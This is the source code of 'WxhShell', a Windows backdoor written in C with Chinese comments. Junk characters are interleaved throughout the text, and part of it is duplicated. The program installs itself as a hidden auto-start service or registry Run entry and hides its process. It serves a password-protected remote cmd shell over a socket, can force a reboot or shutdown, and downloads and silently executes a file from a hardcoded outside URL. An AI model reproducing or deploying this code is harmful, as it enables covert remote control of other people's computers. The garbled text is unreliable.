#Y2v PROCESS_BASIC_INFORMATION pbi; fm$)?E_Rp }S6"$R HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &z?:s if(NULL == hInst ) return 0; rixt_}aE @h!nVf%fe g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /7hC
/!@ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'ARbJ1a NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D\k'Eez mcq.*at if (!NtQueryInformationProcess) return 0; ;ji["b PiF &0; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); agj_l}=gO if(!hProcess) return 0; I:edLg1T XY!0yAK(! if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "RLv{D<)J, $n* wS, CloseHandle(hProcess); cCO2w2A[* )=%TIkeF hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ##BfI`FJ if(hProcess==NULL) return 0; _7b' i6- \&b1%Asyz HMODULE hMod; ?V' zG&n@ char procName[255]; cA{7*=G? unsigned long cbNeeded; J1"16Uu wAF<_NG# if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WnL7 A:sZ uO5y{O2W CloseHandle(hProcess); ;-6 kn&>4/') if(strstr(procName,"services")) return 1; // 以服务启动 T1i}D"H % +{au$v} return 0; // 注册表启动 I8Q!`KJ } oe,yCdPs Xhp={p; // 主模块 ^~7ouA int StartWxhshell(LPSTR lpCmdLine) lky5%H { ]4eIhj? SOCKET wsl; Eh&-b6: BOOL val=TRUE; ~zhP[qA}) int port=0; 5aJd:36I struct sockaddr_in door; % 9} ?*U AI#.G7'O if(wscfg.ws_autoins) Install(); "I0F"nQ XU|>SOR@z port=atoi(lpCmdLine); FgnPh%[u "-R19SpJKh if(port<=0) port=wscfg.ws_port; 0$=w8tP) 4~~G
i`XE WSADATA data; 1Uk Gjw1J if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bDjm:G CqR^w( if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l$ufW| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qm>2,={h door.sin_family = AF_INET; nd,2EX<bE door.sin_addr.s_addr = inet_addr("127.0.0.1"); `&URd&ouJD door.sin_port = htons(port); .>
5[; GBYwS{4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DC(u,iW%6 closesocket(wsl);
B6.9hf return 1; \k.W
F|~ } KZGy&u
>` h?P-
:E if(listen(wsl,2) == INVALID_SOCKET) { Y(B3M=j closesocket(wsl); Sy"!Q%+| return 1; ^T*'B-`C7X } 9w dl1QS Wxhshell(wsl); A.cNOous| WSACleanup(); wyB $[V-M\q return 0; PnZY%+[I *9tRhRc } _&e$?hY 7'.]fs: // 以NT服务方式启动 0+Z?9$a1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]h%~'8g, { *AJYSa,z DWORD status = 0; ]XEUD1N;I DWORD specificError = 0xfffffff; 2:G/Oj h&] WB 5M![ serviceStatus.dwServiceType = SERVICE_WIN32; zI"1.^Trn serviceStatus.dwCurrentState = SERVICE_START_PENDING; }~Ir& serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 97vQM serviceStatus.dwWin32ExitCode = 0; S!h=HE serviceStatus.dwServiceSpecificExitCode = 0; LG;U?:\ serviceStatus.dwCheckPoint = 0; B{!*OC{l serviceStatus.dwWaitHint = 0; W~j>&PK,? pvhN.z hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '$5Qdaj if (hServiceStatusHandle==0) return; `J%35 t&Jrchk status = GetLastError(); 7gE/g`"# if (status!=NO_ERROR) c7A]\1 ~ { 3jjV
bm serviceStatus.dwCurrentState = SERVICE_STOPPED; y'C serviceStatus.dwCheckPoint = 0; DLPg0>;jl serviceStatus.dwWaitHint = 0; D[dI_|59a serviceStatus.dwWin32ExitCode = status; B7(bNr serviceStatus.dwServiceSpecificExitCode = specificError;
=@!s[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); H1r8n$h return; S,f:nLT } tHV+#3h f&!{o= serviceStatus.dwCurrentState = SERVICE_RUNNING; |:pBk: serviceStatus.dwCheckPoint = 0; <&l@ ):a serviceStatus.dwWaitHint = 0; Y_/w}HB if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uZa)N-=b2 } ht2J, 1t }aL&3[>> // 处理NT服务事件,比如:启动、停止 g}$B4_sY VOID WINAPI NTServiceHandler(DWORD fdwControl) *g"Xhk { 4 {+47=n switch(fdwControl) x:+]^?}r { _ ( $U\FW case SERVICE_CONTROL_STOP: 7{p6&xXx serviceStatus.dwWin32ExitCode = 0; ~p
x2kHZ serviceStatus.dwCurrentState = SERVICE_STOPPED; g`dAj4B serviceStatus.dwCheckPoint = 0; W1ql[DqE{ serviceStatus.dwWaitHint = 0; bMGXx>x { yH0vESgv SetServiceStatus(hServiceStatusHandle, &serviceStatus); S]?I7_ } gwDVWhq return; jD?*sd case SERVICE_CONTROL_PAUSE: YL/B7^fd8 serviceStatus.dwCurrentState = SERVICE_PAUSED; Hb\['VhzM break; b1EY6'R2 case SERVICE_CONTROL_CONTINUE: ?%*p!m serviceStatus.dwCurrentState = SERVICE_RUNNING; :kvQ3E0 break; (w` j?c1 case SERVICE_CONTROL_INTERROGATE: [I,s: mn break; DDe`Lb%% }; _8e0vi!~2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); VjJ}q*/3e } |eK^Yhym wQYW5X // 标准应用程序主函数 f1|&umJ$ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =g$%jM>35 { cToT_Mk ^bECX<,H // 获取操作系统版本 iN1_T OsIsNt=GetOsVer(); _Uhl4Mh GetModuleFileName(NULL,ExeFile,MAX_PATH); "Ug+#;}p$ 7MIrrhk // 从命令行安装 +iw4>0pi if(strpbrk(lpCmdLine,"iI")) Install(); o\X|\nUk MH=Ld=i // 下载执行文件 p. KT=dZT if(wscfg.ws_downexe) { g/gaPc*86 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lT_dzO WinExec(wscfg.ws_filenam,SW_HIDE); .9q`Tf } RO| }WD) D{6<,#P{w if(!OsIsNt) { M=4`^.Ocm // 如果时win9x,隐藏进程并且设置为注册表启动 T!-ly7-` HideProc(); w[#*f?at~ StartWxhshell(lpCmdLine); >3&9Wbv> } \"b'Z2g else %II o if(StartFromService()) /|@~:5R5H // 以服务方式启动 "Fz1:VV& StartServiceCtrlDispatcher(DispatchTable); 6Oy6r
else ohi0_mBz // 普通方式启动 #!t6'* StartWxhshell(lpCmdLine); {/i&o *RFBLCt return 0; r-,u)zf" } *9(E0" 3-BC4y/ =d/$B!t{ P?Kg7m W =========================================== XO}SPf- !UHX?<3r yeA]j[ # fa!8+kfi >^D5D%" FY
pspv?4 " V^_U=Ed@M " : V@AT #include <stdio.h> }brBhe8a #include <string.h> dte-2?%~j #include <windows.h> f |NXibmP #include <winsock2.h> V5p->X2# #include <winsvc.h> IEY\l{s #include <urlmon.h> vJe c+a gUme({h&| #pragma comment (lib, "Ws2_32.lib") oiQ:&$y #pragma comment (lib, "urlmon.lib") 'ql<R0g XW:%YTv #define MAX_USER 100 // 最大客户端连接数 oG
c9
6B% #define BUF_SOCK 200 // sock buffer "Rn@yZV #define KEY_BUFF 255 // 输入 buffer UQjYWXvi pW_mS| #define REBOOT 0 // 重启 *A0*.>@N #define SHUTDOWN 1 // 关机 `E|>K\ b{;LbHq+G #define DEF_PORT 5000 // 监听端口 $Km~x x M{SFF #define REG_LEN 16 // 注册表键长度 7{38g #define SVC_LEN 80 // NT服务名长度 iyr<qtwK U "v=XK)! // 从dll定义API M|7][!<G! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U5[r&Y
D typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a0's6C typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4)Ew
rU typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qoEZ> .x1.` Y // wxhshell配置信息 tg7QX/KX struct WSCFG { _ o== int ws_port; // 监听端口 g|M>C:ZT char ws_passstr[REG_LEN]; // 口令 q siV int ws_autoins; // 安装标记, 1=yes 0=no z&z5EtFUTh char ws_regname[REG_LEN]; // 注册表键名 ,r;E[k@ char ws_svcname[REG_LEN]; // 服务名
p]jG
,S char ws_svcdisp[SVC_LEN]; // 服务显示名 K4b2)8
char ws_svcdesc[SVC_LEN]; // 服务描述信息 g`4WisL1n char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d w'P =8d int ws_downexe; // 下载执行标记, 1=yes 0=no 8:K_S a% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XpPcQIM* char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n(_wt##wE~ $F6GCM3Cx }; G`f|#-} cbW=kQc_ // default Wxhshell configuration q NUd "%S struct WSCFG wscfg={DEF_PORT, VH] <o0 "xuhuanlingzhe", |(uo@-U 1, V-18~+F~"a "Wxhshell", n!U1cB{ "Wxhshell", 6n
H'NNS:J "WxhShell Service", w I[Hoi
V "Wrsky Windows CmdShell Service", Nhtc^DX "Please Input Your Password: ", WLH ;{ 1, &:~9'-O "http://www.wrsky.com/wxhshell.exe", /*Gbl "Wxhshell.exe" z6fY_LL }; yF-`f
_ 3dgPP@7d$ // 消息定义模块 KON^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )"%J~:`h} char *msg_ws_prompt="\n\r? for help\n\r#>"; **c"}S6:mC char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dJ~Occ 1~r char *msg_ws_ext="\n\rExit."; :wfN+g= char *msg_ws_end="\n\rQuit."; 4wx{i6 char *msg_ws_boot="\n\rReboot..."; NKRm# char *msg_ws_poff="\n\rShutdown..."; >AWWwq - char *msg_ws_down="\n\rSave to "; @*WrHoa2N <2wC)l3j* char *msg_ws_err="\n\rErr!"; f DPLB[ char *msg_ws_ok="\n\rOK!"; .f|)od[ DH uUEv< char ExeFile[MAX_PATH]; h]}DMVV] int nUser = 0; dwb ^z+ HANDLE handles[MAX_USER]; T*k}E int OsIsNt; VRg
y $<L@B|}F) SERVICE_STATUS serviceStatus; Gsy'':u SERVICE_STATUS_HANDLE hServiceStatusHandle; ^~s!*T)\ H-eHX3c7 // 函数声明 )U{\c2b int Install(void); hLT?aQLx int Uninstall(void); eL
[.;_ int DownloadFile(char *sURL, SOCKET wsh); :bkmm,%O int Boot(int flag); 7_J0[C!G void HideProc(void); }/jWa|)f int GetOsVer(void); gI/(hp3ob int Wxhshell(SOCKET wsl); {uxTgX void TalkWithClient(void *cs); I(j$^DA. int CmdShell(SOCKET sock); >|mZu)HIY; int StartFromService(void); 8Ep! int StartWxhshell(LPSTR lpCmdLine); 3teP6|K'g xdMY2u VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z7pw~Tqlz VOID WINAPI NTServiceHandler( DWORD fdwControl ); eKRE1DK biRkqc; // 数据结构和表定义 ADA}_|O SERVICE_TABLE_ENTRY DispatchTable[] = W9S6
SO^\ { .u]d5z
BR {wscfg.ws_svcname, NTServiceMain}, v=DC3oh- {NULL, NULL} u R]8ZT") }; Dn`
T>,[V: // 自我安装 S$46YQ int Install(void) PgsG*5WQ { 2_TFc2d char svExeFile[MAX_PATH]; k&npC8oA HKEY key; 3 ;AJp_; strcpy(svExeFile,ExeFile); I~nz~U:ak Lzx2An@R // 如果是win9x系统,修改注册表设为自启动 T&j:gg if(!OsIsNt) { }-
wK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~VV $wU!A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HrUE?Sq RegCloseKey(key); BadnL<cj] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CD4@0Z+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ao\Im(? RegCloseKey(key); ,lVQ-qw5 return 0; FJBB@<>: } csV3mzP } %zO>]f& } [rz5tfMp else { YUTI)&y +K,T^<F; // 如果是NT以上系统,安装为系统服务 7tne/Yz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m=a^t if (schSCManager!=0) a'O-0]g, { JW"n#sR4 SC_HANDLE schService = CreateService w8zr0z ( }|wC7*^) schSCManager, *d31fBCk% wscfg.ws_svcname, V;hO1xfR3& wscfg.ws_svcdisp, Uy@:-NC)kn SERVICE_ALL_ACCESS, z`,dEGfh^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j.c{%UYj SERVICE_AUTO_START, x+v&3YF SERVICE_ERROR_NORMAL, [kMWsiZ svExeFile, 3E}j*lo NULL, 1v*N]}`HU NULL, 5uJ!)Q NULL, -?-yeJP2 NULL, \y+^r|IL NULL ZuKOscVS#T ); OF,_6"m if (schService!=0) [MD"JW?4B { AqHGBH0 CloseServiceHandle(schService); w*X(bua@ CloseServiceHandle(schSCManager); *n EG<Y) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y Azj>c& strcat(svExeFile,wscfg.ws_svcname); ^2i$AM1t if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7cO1(yE#vr RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {7`1m!R RegCloseKey(key); ;D@ F return 0; gUYTVp Vf } a%`L+b5-$ } @9l$jZ~x CloseServiceHandle(schSCManager); 2nCHL'8N } w|4CBll } 4}Lui9 e}(8BF return 1; ,l.+$G } [7 t C8=r sh // 自我卸载 /l8wb~vl int Uninstall(void) l~[
K.p& { 7^1K4%IPl HKEY key; t0Inf
[um |nU%H=Rs/ if(!OsIsNt) { 5acC4v!T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #TcX5 RegDeleteValue(key,wscfg.ws_regname);
yZb})4. RegCloseKey(key); r]Lj@0F>8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Oq(FV[N7t RegDeleteValue(key,wscfg.ws_regname); cQ3p|a ` RegCloseKey(key); B_C."{G return 0; }N:QB}7'_ } y,`q6(& } ygd*zy9 } O9RnS\ else { ry+|gCZ
_>^Y0C[?5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BM5)SgK if (schSCManager!=0) ~+PK Ws'}F { lB7/oa1]> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iz+,,UH if (schService!=0) }4Q3S1|U { X @/X65=[ if(DeleteService(schService)!=0) { ,V)hV@Dk CloseServiceHandle(schService); 3wQ\L=
CloseServiceHandle(schSCManager); ;CuL1N#I return 0; G]dHYxG } e~nh95 CloseServiceHandle(schService); I<"UQ\) } C;ME"4,( CloseServiceHandle(schSCManager); |w -s{L3@+ } rEWuWv$ } "$q"Kilj% ob/HO(h3 return 1; oWggh3eXk } dvglh?7d !:~C/B{ // 从指定url下载文件 QaXdO=3 int DownloadFile(char *sURL, SOCKET wsh) [=:4^S|M { N9vNSmm HRESULT hr; wQM( |@zE} char seps[]= "/"; W k "_lJ char *token; ,t|_Nc
char *file; }ee3'LUPX char myURL[MAX_PATH]; slLTZ] char myFILE[MAX_PATH]; xscR Bx I]~s{I(EK strcpy(myURL,sURL); ncpA\E;ff^ token=strtok(myURL,seps); ^5+7D1>W% while(token!=NULL) iphdJZ/f { %v^qQWy=* file=token; k"cKxzB token=strtok(NULL,seps); yK mHTjX= } 3Q,p, McN'J.Sxp GetCurrentDirectory(MAX_PATH,myFILE); Rli`]~!w strcat(myFILE, "\\"); &fnfuU$ strcat(myFILE, file); v'Up& /( send(wsh,myFILE,strlen(myFILE),0); z[JM ]Wy send(wsh,"...",3,0); }(WUZ^L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5UQ[vHMqI if(hr==S_OK) OQDx82E return 0; fL gHQ else YT@N$kOg_ return 1; 5!6}g<z&L f%REN3=5K } GB}X y;hco // 系统电源模块 vVo# nzeZ5 int Boot(int flag) 4 ijZQ { zeH=py[n HANDLE hToken; l_fERp#y TOKEN_PRIVILEGES tkp; W61:$y}8 eqpnh^0}d if(OsIsNt) { iT1HbAT] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wh^I|D?" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \d w ["k tkp.PrivilegeCount = 1; d"+ _`d=` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vY,]f^F" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Tn$|
Xa+:s if(flag==REBOOT) { NE Z ]% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w aDJ return 0; |8\et } Q}#H|@ else { +:z%#D if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y|WOw(# return 0; CS"p3$7, } P?y{9H* } S_Vquw(+ else { eh3CVgH91; if(flag==REBOOT) { -AKbXkc~\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o7g6*hJz return 0; ?\a';@h } ,Nev7X[0 else { r\|"j8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XP65 return 0; ";59,\6
} u?8e>a } puGy`9eKv1 -} +PE 4fh return 1; !i=k=l= } ,Lw
'3
bvo
}b-]E // win9x进程隐藏模块 cp+eh void HideProc(void) Oi n:5K)4- { r}t%DH uC1v^!D HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); et}s yPH if ( hKernel != NULL ) w"j [c#vM { ?^:
xNRE$j pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ` ln=D$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pB,@<\l % FreeLibrary(hKernel); iS28p } ]&L[] 3a,7lTUuB return; hfQ^C6yR } )W![TIp .fS1 // 获取操作系统版本 Lmyw[s\U int GetOsVer(void) 6z+*H7Qz { No)@#^ OSVERSIONINFO winfo; f@IL2DL}\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $ZE"o`=7 GetVersionEx(&winfo); :*lB86Ly if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -Cf<
#'x_ return 1; Gt?ckMB else Xdc>Z\0V return 0; ?I#zcD)w } `LVX|l62 [Uu!:SZ // 客户端句柄模块
*:V"C\`^n int Wxhshell(SOCKET wsl) aAkO>X%[ { 1He'\/# SOCKET wsh; RIxGwMi% struct sockaddr_in client; @Tf5YZ* DWORD myID; XZ&q5]PJI {2%@I~US while(nUser<MAX_USER) _{'HY+M { G( y@Tor+ int nSize=sizeof(client); x BMhk9b^0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); las|ougLy if(wsh==INVALID_SOCKET) return 1; dD"o~iEC U}<;4Px]7v handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $`/J
V?Z if(handles[nUser]==0) :ugj+ closesocket(wsh); qn R{'d else Mo+HLN nUser++; eVbaxL!Q^ } X2p9KC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rgg3{bU/ l=<
: return 0; > 9wEx[ } fdTyY ; t5pf4M7 // 关闭 socket cLe659 & void CloseIt(SOCKET wsh) kVe_2oQ_> { uia-w^F e closesocket(wsh); { sL(PS.z nUser--; ? k*s!YCZ ExitThread(0); O
WVa&8O } Y:XxTa* `l95I7 // 客户端请求句柄 A?*_14& void TalkWithClient(void *cs) g4^df%)& { N!F ;! D+vHl} SOCKET wsh=(SOCKET)cs; E`SFr char pwd[SVC_LEN]; 3pKr
{U92 char cmd[KEY_BUFF]; G>0S(M) char chr[1]; u9"1% int i,j; KCkA4`IeM v-@xO&< while (nUser < MAX_USER) { ]`x\Oj& 9
&~Rj 9 if(wscfg.ws_passstr) { zy9# *gGq if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,kKMUshBi //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L7tC?F]}SK //ZeroMemory(pwd,KEY_BUFF); 3M{/9rR[ i=0; }
. cP while(i<SVC_LEN) { v1Lu.JQC$ g^DPbpWxu // 设置超时 /a$RJ6t&3 fd_set FdRead; wg[ D*a struct timeval TimeOut; |PED8K:rU FD_ZERO(&FdRead); [/ E_v gZ FD_SET(wsh,&FdRead); wDV%.Cc TimeOut.tv_sec=8; Yg6 f TimeOut.tv_usec=0; g2WDa'{L int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TY3WP$u if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I)Dd"I lT3, G#( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "p~1|?T pwd=chr[0]; QviH+9 if(chr[0]==0xd || chr[0]==0xa) { p}NIZ)]$ pwd=0; *a7&v3X break; u@$C i/J* } 'i|z>si[* i++; iVt*N$iZ } 7usf^g[dh +SSF=]4+ // 如果是非法用户,关闭 socket }pa@qZXh if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t*zBN!Wu_ } V[Jd1T FU|c[u|z send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %K_[Bx{B send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8ctUK| Yl+r>+^ while(1) { Ii,Lj1Q Z`5v6"Na ZeroMemory(cmd,KEY_BUFF); ;m3SlP{F 1wl8
// 自动支持客户端 telnet标准 yU~OfwQ j=0; 3cNF^?\= while(j<KEY_BUFF) { }Zwse%; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o5\nqw^ cmd[j]=chr[0];
^t=Hl if(chr[0]==0xa || chr[0]==0xd) { E{*~>#+ cmd[j]=0; 3Q`F x break; >*v^E9Y } m1X0stFRs" j++; V Z[[zYe } uJ4RjLM` $g55wG F
// 下载文件 n;0bVVMV if(strstr(cmd,"http://")) { a(Bo.T<2@ send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wm
nsD! if(DownloadFile(cmd,wsh)) mB.kV Ve0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); xGq,hCQHV else H/p<lp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ qc8;"@ } +%G*)8N3 else { Eoug/we ;K[`o/#4" switch(cmd[0]) { Q9N=yz 1\q2;5 // 帮助 Uc6BI$Fmz case '?': { kn_%'7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m-lUgx7 break; Cyxt EzPp } W
:PGj0? // 安装 cy)gN
g case 'i': { 93yJAao9 if(Install()) +.Kmpw4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); q79)nhC F else Z<Rz}8s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xQC.ap break; A\Q]o#U } ]BU,*YaB // 卸载 ik77i?Hg case 'r': { &3mseU if(Uninstall()) Pq~"`-h7: send(wsh,msg_ws_err,strlen(msg_ws_err),0); BYN<|= else UK2Y<\vD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x"~F=jT break; DNdwMSwp } C:g2E[# // 显示 wxhshell 所在路径 P$Y<
g/s4 case 'p': { y@J]busU char svExeFile[MAX_PATH]; kIV/o strcpy(svExeFile,"\n\r"); @6>R/] strcat(svExeFile,ExeFile); I.j`h2 send(wsh,svExeFile,strlen(svExeFile),0); wHk4BWg- break; 2f>lgZ! } ^u#!Yo.!( // 重启 TSmuNCR case 'b': { eP-q[U?$n send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -c!{';Zn if(Boot(REBOOT)) Y'-BKZv! send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^:K"Tv.= else { !'Xk=+ closesocket(wsh); zr?%k]A%UO ExitThread(0); %-|Po:6 } 2"C'Au break; LWc}j`Wd } |]~tX zY // 关机 Gd`qZqx# case 'd': { )JTh=w4n|z send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VcT(n7 if(Boot(SHUTDOWN)) kssS,Ogf\_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); zv!%u=49 else { :k075Zr/#D closesocket(wsh); {Q?AIp6u| ExitThread(0); 3x9O<H} } V<
0gD?Kx break; [a\:K2*' } Lw?4xerLsb // 获取shell =L9sb! case 's': { ErJi
CmdShell(wsh); ' eO4h^ closesocket(wsh); &}VGC=F;d ExitThread(0); ~Rk%M$E9 break; <O&L2E @~f } /s(/6~D| // 退出 ox] LlR K case 'x': { )MLOYX send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D,d mlv CloseIt(wsh); s
d>&6R^ break; kg7oH.0E } &@c=$+#C // 离开 TS)p2# case 'q': { Vp\BNq_!s send(wsh,msg_ws_end,strlen(msg_ws_end),0); =U!'v X d closesocket(wsh); V{@<Z8sW# WSACleanup(); j/{F#auI exit(1); {Lb NKjn break; fzRzkn:= } mKtZ@r)u } (tP>z+ } .GM&]Hb EYd`qk3 // 提示信息 BS>|M}G)r if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bgqN&J)Jr) }
$.(%7[ } }]N7CWy
7qV_QZ!. return; bqN({p& } y'xB? >| 7 w_`<b6 // shell模块句柄 Z_D8}$! int CmdShell(SOCKET sock) +,9I3Dq { xvQJTRk STARTUPINFO si; 3_B .W ZeroMemory(&si,sizeof(si)); n`? j.
s si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )?joF) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l.\Fr+*ej PROCESS_INFORMATION ProcessInfo; Cq?l> char cmdline[]="cmd"; {f3)!Pei`J CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m'XzZmI return 0; w#U3h]>, } SJ^.#^) Z$kff-Y4 // 自身启动模式 OqtQLqN int StartFromService(void) t=NPo+fm { ~4'e)g.hG typedef struct >,Zjlkh3 { u^|XQWR$: DWORD ExitStatus; @>B#2t& DWORD PebBaseAddress; ;hJTJMA6/6 DWORD AffinityMask; )}hp[*C DWORD BasePriority; ^IOf% ULONG UniqueProcessId; FF6[qSV ULONG InheritedFromUniqueProcessId; |8c3%jve } PROCESS_BASIC_INFORMATION; t8\F7F P )\l}i%L: PROCNTQSIP NtQueryInformationProcess; $SRpFz5y$ ]
NL-)8u static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *oL?R2#7 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vXLiYWo 63QMv[`, HANDLE hProcess; v#@"Evh7 PROCESS_BASIC_INFORMATION pbi; y/h~oGxy {*ATY+ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wAkpk&R if(NULL == hInst ) return 0; g+t-<D"L5 ]C3{ _?= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Yw"o_ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }L>}_NV\ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @X?DHLM OGh9^,v if (!NtQueryInformationProcess) return 0; eZIqyw 3haYb` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W~aVwO'( if(!hProcess) return 0; ^](sCE7 Zk__CgS# if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /T]2ZX> H ifKa/}P8 CloseHandle(hProcess); / @X! U2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5'd$TC if(hProcess==NULL) return 0; t,M_ *BH*
